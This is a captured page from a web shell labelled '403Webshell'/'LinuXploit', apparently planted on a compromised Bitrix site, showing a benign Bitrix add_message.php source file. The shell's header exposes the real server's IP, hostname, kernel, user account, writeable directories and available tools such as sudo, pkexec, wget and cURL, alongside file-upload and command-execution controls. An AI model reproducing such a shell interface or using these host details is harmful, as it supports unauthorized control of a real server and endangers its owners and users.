403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/socialnetwork.messages_chat/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/socialnetwork.messages_chat/add_message.php
<?
define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_STATISTIC", true);
define("NO_LANG_FILES", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$path = str_replace(array("\\", "//"), "/", __DIR__."/lang/en/add_message.php");
@include_once($path);
$path = str_replace(array("\\", "//"), "/", __DIR__."/lang/".LANGUAGE_ID."/add_message.php");
@include_once($path);

if (CModule::IncludeModule("socialnetwork"))
{
	$aUserId = array();
	if (is_array($_REQUEST["user_id"] ?? null))
	{
		foreach($_REQUEST["user_id"] as $id)
		{
			if (intval($id) > 0)
			{
				$aUserId[] = intval($id);
			}
		}
	}
	elseif (
		isset($_REQUEST["user_id"])
		&& intval($_REQUEST["user_id"]) > 0
	)
	{
		$aUserId[] = intval($_REQUEST["user_id"]);
	}

	$aUserId = array_unique($aUserId);

	$mptr = Trim($_REQUEST["mptr"]);

	if (!$GLOBALS["USER"]->IsAuthorized())
	{
		echo "*";
	}
	else
	{
		if (!check_bitrix_sessid())
		{
			echo GetMessage("SONET_C50_ERR_PERMS").".";
		}
		else
		{
			$message = $_REQUEST["data"];
			$message = Trim($message);
			if ($message == '')
			{
				echo GetMessage("SONET_C50_NO_TEXT").".";
			}
			else
			{
				if(empty($aUserId))
				{
					echo GetMessage("SONET_C50_NO_USER_ID").".";
				}
				else
				{
					foreach($aUserId as $userID)
					{
						if (!CSocNetUserPerms::CanPerformOperation($GLOBALS["USER"]->GetID(), $userID, "message", CSocNetUser::IsCurrentUserModuleAdmin(false)))
						{
							echo GetMessage("SONET_C50_CANT_WRITE").".";
						}
						else
						{
							$errorMessage = "";
							if (!CSocNetMessages::CreateMessage($GLOBALS["USER"]->GetID(), $userID, $message))
							{
								if ($e = $GLOBALS["APPLICATION"]->GetException())
									$errorMessage .= $e->GetString();
							}
							if ($errorMessage <> '')
								echo $errorMessage;
						}
					}
				}
			}
		}
	}
}
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit